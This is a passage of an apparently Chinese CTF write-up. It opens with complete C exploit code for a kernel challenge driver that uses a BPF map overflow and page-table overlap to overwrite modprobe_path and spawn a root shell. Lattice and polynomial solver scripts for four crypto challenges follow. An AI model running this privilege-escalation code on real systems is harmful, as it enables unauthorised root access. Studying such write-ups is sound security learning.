printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int fd;
struct ioctl_param {
int idx;
int fd;
unsigned int size;
void *buf;
};
int init_cmd(int cmd_fd, int idx){
struct ioctl_param node;
node.idx = idx;
node.fd = cmd_fd;
ioctl(fd, IOCTL_MAP_INIT, &node);
}
int del_cmd(int idx){
struct ioctl_param node;
node.idx = idx;
ioctl(fd, IOCTL_MAP_DEL, &node);
}
int read_cmd(int idx, int size, void* buf){
struct ioctl_param node;
node.idx = idx;
node.size = size;
node.buf = buf;
ioctl(fd, IOCTL_READ_CMD, &node);
}
int write_cmd(int idx, int size, void* buf){
struct ioctl_param node;
node.idx = idx;
node.size = size;
node.buf = buf;
ioctl(fd, IOCTL_WRITE_CMD, &node);
}
static inline int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
.inner_map_fd = fd,
};
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}
static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}
static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}
static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd){
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,
};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}
#define VALUE_SIZE 0x1000
#define MAP_SPRAY 0x200
int spray_bpf_fd[MAP_SPRAY];
void spray_bpf_map(){
puts("[*] spray bpf map.");
uint64_t *value = (uint64_t*)calloc(VALUE_SIZE, 1);
for(int i = 0; i < MAP_SPRAY; i++){
spray_bpf_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), VALUE_SIZE, 1);
if (spray_bpf_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
}
free(value);
}
void refresh_tlb(){
info("refresh tlb...");
for (int i = 0; i < TLB_PAGESPRAY; i++){
for (int j = 0; j < 8; j++){
*(char*)(tlb_spray[i] + j*0x1000) = 'A' + j;
}
}
}
/*
static const struct proto_ops alg_proto_ops = {
.family = PF_ALG,
.owner = THIS_MODULE,
...
.bind = alg_bind,
.release = af_alg_release,
.setsockopt = alg_setsockopt,
.accept = alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len){
const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sockaddr_alg_new *sa = (void *)uaddr;
const struct af_alg_type *type;
void *private;
int err;
...
sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
type = alg_get_type(sa->salg_type);
if (PTR_ERR(type) == -ENOENT) {
request_module("algif-%s", sa->salg_type);
type = alg_get_type(sa->salg_type);
}
*/
static void trigger_modprobe(){
struct sockaddr_alg sa;
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return ;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "Qanux"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
}
int main(){
int shm_id, tmp_fd;
int shell_stdin_fd;
int shell_stdout_fd;
int sync_pipe[0x10][2];
FILE *file;
const char *filename = "/tmp/sh";
file = fopen(filename, "w");
if (file == NULL) {
perror("Error opening file");
return 1;
}
fclose(file);
bind_core(0);
save_status();
fd = open("/dev/vuln",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}
info("Prepare pages for PTE");
for (int i = 0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (page_spray[i] == MAP_FAILED) err_exit("mmap");
}
info("Prepare pages for refresh tlb");
for (int i = 0; i < TLB_PAGESPRAY; i++) {
tlb_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (tlb_spray[i] == MAP_FAILED) err_exit("mmap");
}
refresh_tlb();
spray_bpf_map();
for(int i = 0; i < (0x4000 / 8); i++){
buf[i] = 0x800000000009c067;
}
puts("[*] Init map list(1)");
for(int i = 0; i < VICTIM_MAP / 2; i++){
map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1);
if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
init_cmd(map_fd[i], i);
}
puts("[*] Allocating PTEs...");
info("Allocate many PTEs (1)");
for (int i = 0; i < N_PAGESPRAY/2; i++){
for (int j = 0; j < 8; j++){
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
}
}
puts("[*] Init map list(2)");
for(int i = VICTIM_MAP / 2; i < VICTIM_MAP; i++){
map_fd[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x1000, 1);
if (map_fd[i] < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
init_cmd(map_fd[i], i);
}
info("Allocate many PTEs (2)");
for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++){
for (int j = 0; j < 8; j++){
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
}
}
puts("[*] tigger bpf map overflow");
for(int i = 0; i < VICTIM_MAP; i++){
write_cmd(i, 0x1000, buf);
}
refresh_tlb();
puts("[+] Searching for overlapping page...");
// Leak kernel physical base
void *wwwbuf = NULL;
for (int i = 0; i < N_PAGESPRAY; i++) {
if (*(size_t*)page_spray[i] > 0xffff) {
wwwbuf = page_spray[i];
printf("[+] Found victim page table: %p\n", wwwbuf);
break;
}
}
if (wwwbuf == NULL) err_exit("target not found :(");
printf("[+] wwwbuf data: %p \n", ((*(size_t*)wwwbuf)));
size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x3e04000;
printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
/**
* Overwrite mdoprobe
*/
size_t modprobe_patch = phys_base + 0x2d64180;
for(int i = 0; i < (0x4000 / 8); i++){
buf[i] = (modprobe_patch & ~0xfff) | 0x8000000000000067;;
}
for(int i = 0; i < VICTIM_MAP; i++){
write_cmd(i, 0x1000, buf);
}
refresh_tlb();
// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);
printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
void *pmd_modprobe_addr = (void *)wwwbuf + 0x180;
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++){
int status_cnt;
char status_buf;
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);
if (pid_guess % 50 == 0){
printf("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
printf(" - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
}
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);
// run custom modprobe file as root, by triggering it by executing file with unknown binfmt
// if the PID is incorrect, nothing will happen
trigger_modprobe();
// indicates correct PID (and root shell). stops further bruteforcing
status_cnt = read(status_fd, &status_buf, 1);
if (status_cnt == 0)
continue;
printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);
goto pwn;
}
printf("[-] Lose...\n");
exit(0);
pwn:
puts("[+] EXP END.");
return 0;
}
Crypto
SplitMaster
题目相当于要求解 m=512bit,leak=30bit 的 hnp 问题,但 30bit 并不连续,最大连续段设置为 25,卡了界,不能通过单一段落进行 hnp,也限制了不能放在首尾。可拆分 30bit 为两个 15bit,通过增加切分段数可以扩大格的维度,格子构建为基本 hnp 格。
from Crypto.Util.number import *
from pwn import *
context.log_level='debug'
io=remote("127.0.0.1","10003")
io.recvuntil(b'q:')
q=int(io.recvline().decode(),10)
b2b4=[]
A=[]
for i in range(20):
io.recvuntil(b'> ')
payload=b'161 15 161 15 160'
io.sendline(payload)
io.recvuntil(b'a:')
a=int(io.recvline().decode(),10)
io.recvuntil(b'gift:')
gift=eval(io.recvline().decode())
A.append(a)
b2b4.append(gift)
s1,s2,s3,s4,s5=[161,15,161,15,160]
m = 512
T1 = 2^(s2+s3+s4+s5)
T2 = 2^(s3+s4+s5)
T3 = 2^(s4+s5)
T4 = 2^(s5)
assert len(A) == len(b2b4)
Aorg = [x for x in A]
b2org = [x[0] for x in b2b4]
b4org = [x[1] for x in b2b4]
nn = ceil((s1+s3+s5)/((s2+s4))) + 3
print(nn)
A = [x for x in Aorg[:nn]]
b2 = [x for x in b2org[:nn]]
b4 = [x for x in b4org[:nn]]
n = len(A)-1
AA = [x for x in A]
bb2 = [x for x in b2]
bb4 = [x for x in b4]
for choice in range(n):
A = [x for x in AA]
b2 = [x for x in bb2]
b4= [x for x in bb4]
A0 = A[choice]
A0i = inverse_mod(A0,q)
b02 = b2[choice]
b04 = b4[choice]
del A[choice]
del b2[choice]
del b4[choice]
assert gcd(A0, q) == 1
Mt = matrix(ZZ, 3*n+4)
for i in range(n):
Mt[3*i, 3*i] = -q
Mt[3*i+1, 3*i] = -T3
Mt[3*i+2, 3*i] = -T1
Mt[3*i+1, 3*i+1] = 1
Mt[3*i+2, 3*i+2] = 1
Mt[-4, 3*i] = A0i*A[i] % q
Mt[-3, 3*i] = T3*A0i*A[i] % q
Mt[-2, 3*i] = T1*A0i*A[i] % q
Mt[-1, 3*i] = A0i*(T2*(A[i]*b02 - A0*b2[i]) + T4*(A[i]*b04 - A0*b4[i])) % q
Mt[-4, -4] = 1
Mt[-3, -3] = 1
Mt[-2, -2] = 1
R = 2^(s1-1)
Mt[-1, -1] = R
L = Mt.BKZ(block_size=36)
for l in L:
if l[-1]:
b0 = vector(l)
b01 = b0[-2]
b03 = b0[-3]
b05 = b0[-4]
x0 = (T1*b01 + T2*b02 + T3*b03 + T4*b04 + b05) * A0i % q
io.recvuntil(b'the key to the flag is: ')
io.sendline(str(x0%q).encode())
print(io.recvline())
exit(0)
IShowSplit
extend hnp 问题,A * x + r * k = b (mod p)
对隐藏数 x 进行了多段拆分,泄露了 10 与 20bit,给定 A、r、b、p,求解 x。参考论文:https://link.springer.com/chapter/10.1007/978-3-540-74462-7_9#preview,复现论文格即可。
from hashlib import md5
def babai_cvp(B, t, perform_reduction=True):
if perform_reduction:
B = B.LLL(delta=0.75)
G = B.gram_schmidt()[0]
b = t
for i in reversed(range(B.nrows())):
c = ((b * G[i]) / (G[i] * G[i])).round()
b -= c * B[i]
return t - b
def ehnp(xbar, p, Pi, Nu, Alpha, Rho, Mu, Beta, delta=None, lattice_reduction=None, verbose=False):
verbose = (lambda *a: print('[ehnp]', *a)) if verbose else lambda *_: None
if len(Pi) != len(Nu):
raise ValueError(f'Expected number of pi_j to equal number of nu_j, but got {len(Pi)} and {len(Nu)}.')
if not (len(Alpha) == len(Rho) == len(Mu) == len(Beta)):
raise ValueError('Expected number of alpha_i, rho lists, mu lists, beta_i to be the same, ' + \
f'but got {len(Alpha)}, {len(Rho)}, {len(Mu)}, {len(Beta)}.')
for i, (Rho_i, Mu_i) in enumerate(zip(Rho, Mu)):
if len(Rho_i) != len(Mu_i):
raise ValueError(f'Expected number of rho_{i},j to equal number of mu_{i},j, ' + \
f'but got {len(Rho_i)} and {len(Mu_i)}')
m = len(Pi)
d = len(Alpha)
L = sum(len(Rho_i) for Rho_i in Rho)
D = d + m + L
kappa = (2^(D / 4) * (m + L)^(1 / 2) + 1) / 2
if not delta:
delta = RR(1e-8 / kappa)
verbose(f'kappa * delta = {(kappa * delta).n()}')
if not 0 < kappa * delta < 1:
raise ValueError(f'Expected kappa * delta to be between 0 and 1, but got {(kappa * delta).n()}.')
A = Matrix([[alpha_i * 2^pi_j for alpha_i in Alpha] for pi_j in Pi])
X = diagonal_matrix([delta / 2^nu_j for nu_j in Nu])
R = block_diagonal_matrix([column_matrix(Rho_i) for Rho_i in Rho])
K = diagonal_matrix(flatten([[delta / 2^mu_ij for mu_ij in Mu_i] for Mu_i in Mu]))
B = block_matrix(QQ, [
[p * identity_matrix(d), zero_matrix(d, m), zero_matrix(d, L)],
[A, X, zero_matrix(m, L)],
[R, zero_matrix(L, m), K],
])
verbose('Lattice dimensions:', B.dimensions())
lattice_reduction_timer = cputime()
if lattice_reduction:
B = lattice_reduction(B)
else:
B = B.LLL()
verbose(f'Lattice reduction took {cputime(lattice_reduction_timer):.3f}s')
w = [beta_i - alpha_i * xbar for alpha_i, beta_i in zip(Alpha, Beta)]
w += [delta / 2] * (m + L)
babai_cvp_timer = cputime()
u = babai_cvp(B, vector(QQ, w), perform_reduction=False)
verbose(f'Babai CVP solver took {cputime(babai_cvp_timer):.3f}s')
x = xbar
for j in range(m):
x_j = u[d + j] * 2^Nu[j] / delta
x += int(x_j) * 2^Pi[j]
# TODO: Check if valid solution. -x might be returned instead.
return x % p
d=10
Pi = [0, 100+10,110+200+20]#未知的x部分的偏移
Nu = [100, 200,182]#未知的x部分的大小
p=7159749741429322755131240146118071759513715820993285825839372472474407666017557572129271731613358007058734527689330441569348431807180112353088919340436347
Alpha=[6099484397780065687822398499925956660167123649401003086450429553387635127108172239381711192830201627868739985455478039493705929385423995630816089813826652, 89722133899180146464100891510163842168405798298452823483063318133678868709451123173510945333104825653032959450315649783796310151123989041792721415722484, 6852373640840439902263069245352036561377612959731529442657261290464193432386684112062098796260781796040393491512167644773780010990517598995340849012156752, 905572447043025859658716967933649489546055535993585428025481014254600350130412634867260097168151503405254514553766823286383565893018173373564554336056693, 4619203611445979770240267215110891760841947947738244443460262136009336416179092898214434705455167036725713675890810610700106198084790551650093160195275702, 3069238570521651083095142261917310941562970802732278543454193591033820858125892411024150728211080137659037098102856608536404922668196774692048992081648551, 2072290141156875572599510174743549619222963372822414855220494223803795956351998912692844952044029330311821434784805742487737048376693843981146845532811418, 4118630348835299974900731058046317343585580076694977535798202938226187304960635726712385771299418425062431822315135332845240129948946520330840063372710812, 5494897767679702083905262716715474988716617413297387287978901109122932238365802120197755794026314539468927208231771384572456104728695543349076171476106692, 5242904898120293050194404817363504806316489104114848367489798169501727630568797399722291273601688449269113866312614390323808528035310223034076071688527093]
Beta=[2225881589521184173065274225912017053067069649965432632423136697355986574624766674385247816885344883664964124555071710934403200036986056742665338710501199, 6648320309177586281256682217887823816445310746588184022611740437856487828841524257412678979289757558617628247133981523476180196883192489542467687175493866, 1368643343865975119970439821808519233195197253476459608302319415282308653927922072355125801570423137124789823080768464141261145798676583005521122600184021, 4757972435898893943050634851470164873875968802674701938325764517462502213399385660925464222079964582272246709905040569303916540860368398046797311634207119, 3491493600654315810383896038657359020801782746573223354229968950004336723011925225140197224620617196713846979463196337854602425927920594332253840267066287, 5812910599586334226756848369194045700041602130860303332014243049211324518168755764068940745746358136899818045819591702608213306673108319488577075164061902, 5286480909173195769260613883921498519696474112632193807758953252056528658290642833837928174403014629586637399671995087032742056865191425515352773317139947, 5990084243427240363832897819696345106790895509165460228212982648304258173654753003702718799678678397988011691031933597893892134441380835867546094903910961, 4657207884013678545225122398830559190905549085156416548267023047411835416409008088567237198440378272503925106822333599825940007094045484876222921444207859, 4337342732185682149995046884384392099143035562597116814453255157188836395606408153375003404584342070812600880379801960599561396105172991519802949392096959]
Rho=[[5437342344417526961447037102420381576182242917002824736531383988448576795401348337669838142255293777506485879415403692176729738237621696959342977281065396, 118207420592466754679295752653401966487038067694232692642557897325071960359432451312279399266748403346434433562012104799520263992802423378954266828804131, 7096197247368703535624516822532525663824053041765748785834200261711792994365801659587654582314309510718479268191354720373426303224114439156530646421389487], [2048337393654342724878996996835462937898615364747266814141518152181142819685131064444737246705773125581643549980403948577060721913752092536246991248488798, 4032915799560554709639638304258383923016302450145031749214368211030759499850002173909365184297695024196808815382820437454460747458506629192382539028901160, 4232871593307892145191764881832084004817150942430800176840205014538991625057835110518374643680800074286367340775128361231313202429848296012489919924979266], [2553386960937591100090865827289064489951927968995578370310341693487902315425241611375327831218812187817696136311487587016400127802098102736127873401818913, 5823670592022005462447151598758745521401539301567430301030393638437006554138239970651467866637510447017480176716140423825242961163243963505222273874838613, 5774084025457416187346689800934856256827564486310334723289121828349816917057440353481035763960569668502226684658505097070668779989218703360744064625684871], [7046572309712543369992700561219588655579833588142366002445356785295649361641707579997338719645976088701747288198545152391667165237528203051491380206476100, 3086411743880543388057778894558929465483005347509988210044202022882123069984407733408405454699097438747656268706316626496116194702187510362704226701362680, 3824920704333716278162115284149190730865231866245771161577917822721893196275454552093227654236325852790896150665403865418453038676291626669950621607864235], [6760618245898750953819376194151632666239738960636983938459565687242233704064651489179662554150497876748082273757875418325340597777457003363001123655534527, 4343397856990866281857795612386217816895468511981051731094731266904611655944226707430233814074001565540730803579725372227013575628572646210241319814714476, 7126011694277861782468567565693664008866580617261568379233477615778205440306291716911745585348838954153812439519950532595352182974188212855768277246923419], [2953923187831173071776186551032070259914505167253362070557203382982396081492190509064486405525934004929672640497574202986456906310807830423216504796476927, 1345669062441589204474792668690191778211085836386374497142860395037294956095491918997725669029150439803057766748915079527876461488078624845798404978671362, 6975771805724338057550497476188442963101655123133481610941634405619501180059972427132933469246923537067484663454770321483398210207386857564548399452193784], [613595431074082703746546668753146025816666490902587228756275516028887275638378432031652661608234989583525385999489844534573227312653028029927921272453512, 4123105910746992373978630252040464408125059102592223292674058753777019714209155710896007043366563874898777820917476610249503568925138753611543704471760303, 989555937865263901715230959831678853496396994080634488540356871394920097958240471950255879798889334377502384605373832255522749450694078070958912976709214], [5535837862012327812765107969360670846116191751375838521859633639946929019321243840486291205554534270213183060274542457089991919161794065714297577071253492, 2217022003356883793255174224244083193207752640022692463419248286782028965975927441224003452590436406144452759467937867082143500151445862797223973537424326, 4169012965258555766659454909927125486691566973583123755296718808398491419295598806865374588756721952326039465076613735671092746736038930739233766233317746], [2460973952017922432127354291027776825014962112677929880673566789249322210046943034298740329681812324994822480424953136978723367413424675867422535483400994, 6525560390886316331291464628669910149125483607726248566635546904534294626062586662528213108239725365594595677881216065984903337839878980240035564934046552, 5267455846476800778837810675968652912499902190539148131941469838044707979168868352552242860860469415418625601143261920057498327632704722410629571902757207], [2836101201606404086963674515196242099981794676200180367684860793033271859982764426617335526949325589855895823167197136257361757221153866636871210172909499, 2905746791428321890819637325300810834453495282574466482434863215508033662223795925912808993026408194967015679126821486382496994000126841698935066307107806, 6179734411062461009407000122687973511105948755170244204181450729410647901986426188970783453277592832386486628788023466433324078852891442496360969724173650]]
gift=[841309, 840]
xbar=int(str(bin(gift[0]))[2:]+'0'*200+str(bin(gift[1]))[2:]+'0'*100,2)
Mu = [[64, 128, 256] for _ in range(d)]
sol = ehnp(xbar, p, Pi, Nu, Alpha, Rho, Mu, Beta, delta=1/10^12, verbose=True)
print(sol)
print(md5(str(sol).encode()).hexdigest())
LemonPepper
题目给出了flavorings类和LemonPepper类,其中flavorings类具有mcg结构,作为LemonPepper类的伪随机数生成器。整个题目给出了Lemon和Pepper两组数据,要求恢复最终flavorings类中的state。
1.第一个part,我们调用7次Lemon函数,其在$q^{135}$下返回
$$
f(x)=c\prod_i(x-\text{root}_i)^{e_i} \mod q^{165},e_i∈\{2,3,4\}
$$
我们的目标是恢复$\text{root}_i$集合中包含伪随机数生成器的解,这可以通过求解$f$函数来完成。根据一般意义上的Hensel Lift,对于$f$的一个解$x$,有迭代公式
$$
x_{k+1}=x_k-f(x_k)·(f'(x_1))^{-1} \mod q^{k+1}
$$
而在重根的情况下,存在
$$
f'(x_1)≡0 \mod q,
$$
我们没法直接进行Hensel Lift来获得$q^k$上的解$x$(这也是在SageMath中使用.roots函数会卡住的原因)。要在这个条件下对方程进行求解,我们就要想办法把方程从重根方程变成无重根方程。由于本题的根的重数在$\{2,3,4\}$中选取,因此我们对函数式进行三次求导,就能够将重数为$4$的根保留在多项式中。构建函数$g$如下
$$
g=\gcd(f,f''')
$$
$g$在$p^{165}$上是可解方程。故我们可以恢复所有的重数为$4$的解,恢复后将重数为$4$的项从$f$中删除,即可将函数式的重数选取范围降至$\{2,3\}$。以此类推,即可完成Lemon部分的求解。
2.求解完7个多项式的解,我们可以恢复得到mcg的$945$个生成量。观察mcg的生成函数,有
$$
s_{n+26}=\sum_{i=0}^{25}(s_{n+i})^ea_i \mod p,e∈\{1,2,3\}
$$
使用全线性化处理式子,有
$$
\prod_{e=1}^3(\sum_{i=0}^{25}(s_{n+i})^ea_i-s_{n+26})=0 \mod p
$$
我们共有$m=945$个式子,但存在$\tbinom{n+3}{n}=3275$个单项式,式子数量远小于单项式数量。故采取Arora-Ge使用的技巧增加样本数量:对于任意一个式子,我们对其分别乘以所有度小于$d$的单项式,此时式子数量变成$m\tbinom{n+d}{d}$,单项式数量变成$\tbinom{n+d+3}{n}$。取$d=1$,当样本数量为$m=914$时,式子数量为$23764$,单项式数量为$23750$。而为了构成方程,我们还需要额外的$n$组样本,总共需要$939$个mcg输出,小于我们拥有的输出量。构造对应的矩阵方程,我们可以完整求解得到所有的$a_i$。
3.恢复所有的$a_i$后,我们已经拥有了mcg的完整状态,即使如此,mcg的每一次随机数生成都伴随着一次随机的三选一,因此我们仍然需要去跟进mcg的输出。对于第二个part,我们调用三次Pepper函数,其在$q^{165}$下返回
$$
f(x)=c\prod_i(x-\text{root}_i)(x-\text{root}_i-q^{30})·\prod_{\text{root}∈sample(\text{roots},2)}(x-\text{root}-q^{40}) \mod q^{165}
$$
相比part1,本部分生成了一个在低指数下具有重根的式子。即使采用part1中的方法,我们也只能在$q^{30}$上求出对应的解,想要继续抬升,则又会受到导数等于$0$的限制。而$q$的大小为$30$bit,意味着我们无法采用爆破的方式去进行深搜。这样,我们只能采取在p-adic域上定义函数,以牺牲精度为代价求取一定范围上的解。对于本题,我们可以在$q^{135}$上恢复所有不在$sample(\text{roots},2)$中的元素的解。这样,我们也就变相得到了30组mcg生成随机数中的28组,其顺序未知。
4.由于在part2之前整个mcg类对我们而言已经透明,而求解得到的列表包含30组随机生成数中的28组,我们可以采用剪枝算法来确定生成顺序的唯一解。注意到剪枝过程中可能会出现多解,成功存在一定概率性,成功率大概为70%左右。
from Crypto.Util.number import *
from time import time
from pwn import *
def solvelemon(p, poly, e = 165):
R.<x> = PolynomialRing(Zmod(p^e))
poly = R(poly)
def gcd(x, y):
while True:
x, y = y, x % y
if y == 0:
return x
for i in range(3):
g = poly
for j in range(3-i):
g = diff(g)
for j in gcd(poly,g).roots(multiplicities=False):
ans = int(j)
s = []
for _ in range(165):
s.append(int(ans % p))
ans //= p
if all([_ < 257 for _ in s[30:]]):
return s[30:]
poly //= (x-j)^(i+1)
def linearation(c):
from tqdm import trange
p, n = 257, 25
R = PolynomialRing(GF(p),[f'x{i}' for i in range(n)])
x = [i for i in R.gens()]+[1]
dic = {}
m = []
v = []
for i in trange(914):
f = prod(sum(c[i:i+n][j]^d*x[j] for j in range(n))-c[i+n] for d in range(1,4))
for d1 in range(n+1):
vr, term = 0, x[d1]
g = f*term
coes, mons = g.coefficients(), g.monomials()
mr = [0 for i in range(23750)]
for mon,coe in zip(mons,coes):
if mon == 1:
vr = -coe
continue
if mon not in dic.keys():
dic[mon] = len(dic)
mr[dic[mon]] = coe
m.append(mr)
v.append(vr)
v = matrix(v)
al = matrix(GF(p),m).T.solve_left(v).list()
a = []
for i in x[:-1]:
a.append(al[dic[i]])
return a
def solvepepper(poly, e = 165):
R.<x> = PolynomialRing(Zmod(p^e))
f = R(poly)
Qpp = Qp(p, prec=e)
R.<x> = PolynomialRing(Qpp)
re = R(f).roots()
nexts = []
for i in re:
ans = eval(str(i[0]).split('O')[0][:-3].replace('^','**'))
if ans.bit_length() > 4000:
nexts.append(int(ans%p^135)//p^134)
return nexts[::2]
def guess(s, a, nexts, label):
global ans
if nexts == [-1]*25:
ans = s
print(1)
nc = [sum(s[i] ^ d * a[i] for i in range(30)) % 257 for d in range(1, 4)]
for i in nc:
if i in nexts:
nexts1 = deepcopy(nexts)
nexts1[nexts1.index(i)] = -1
guess([i]+s, a, nexts1, label)
else:
if label < 5:
guess([i]+s, a, nexts, label+1)
from pwn import *
context.log_level = 'error'
p = 27658548947
re = remote('',)
re.recvuntil(b'Injection!\r\n')
s = []
for i in range(7):
s += solvelemon(p,eval(re.recvline()))
print(s)
a = linearation(s)[::-1]
s = s[-25:][::-1]
re.recvuntil(b'Ignition!\r\n')
for i in range(3):
nexts = solvepepper(eval(re.recvline()))
global ans
ans = []
guess(s,a,nexts,0)
s = ans[:25]
re.recvuntil(b'> ')
re.sendline(str(s)[1:-1].encode())
print(re.recvline())
print(re.recvline())
LW3
overview
题目为如下LWE实例:
$$
b_{m\times1} = A_{m\times n}s_{n\times1} + e_{m\times1} \quad(mod \;p)
$$
其中$(m,n)=(90,64)$,与一般的LWE不同的是,题目的$e$取值仅在三个固定值中随机选择,而这三个固定值均为$GF(p)$下的随机数。
需要求解出私钥$s$,从而解AES得到flag。
method 1
按之前的题的经验(如easy_mod,0CTF的signin,以及今年刚出的HITCON的BabyLWE等),由于本题给出了$e$的取值范围$E$,所以或许可以找到某种线性变换,使得$E$能映射为一个新取值范围$E'$,而这个新的$E'$三个值都较小,从而利于规约。但本题的$E$是纯随机取值,所以存在线性变换使得三个值都变小的概率极小。这一点可以用如下的格的思路验证:
我们的目的是找到一个线性变换:
$$
E'=kE+t(1,1,1) \quad(mod\;p)
$$
这个线性变换:
- $E'$较小
- $k, t$未知
可以看出这其实就是格干的事情,较小的$E'$就是我们要规约出来的值,为此构造如下格:
$$
(k, t, r_1,r_2,r_3)\left(\begin{matrix}E_1&E_2&E_3\\1&1&1\\p\\&p\\&&p\end{matrix}\right)=(E'_1,E'_2,E'_3)
$$
规约出来的结果其实也就是理论能找到的最短的$E'$了,代码及结果如下:
L = block_matrix(ZZ, [
[Matrix(ZZ, E)],
[Matrix(ZZ, [1]*len(E))],
[p]
])
E_ = L.LLL()[3]
k, t = Matrix(Zmod(p), L).solve_left(E_)[:2]
assert k*vector(GF(p), E) + t*vector(GF(p), [1,1,1]) == vector(GF(p), E_)
print(E_)
(-298, 582, -285)
可以看出得到的$E'$显然不够短,规约不了,所以需要改变策略。
method 2
stage 1
由于向量$e$的每一个值都只会是$E$的其中一个,因此可以考虑另一种线性变换:
$$
e_{m\times 1} = K_{m\times 3}E_{3\times 1}
$$
其中$K$是一个01矩阵,代入回LWE的式子里得到:
$$
b = As + KE
$$
这个式子里:
- $A, b, E$已知
- $s, K$未知
而之所以要如此表示,是因为这样的01矩阵其实正是我们需要的小量,并且这个式子没有非线性项,我们是有机会规约出$K$来的,而规约出$K$其实也就意味着得到了$e$,也就等于得到了私钥$s$。
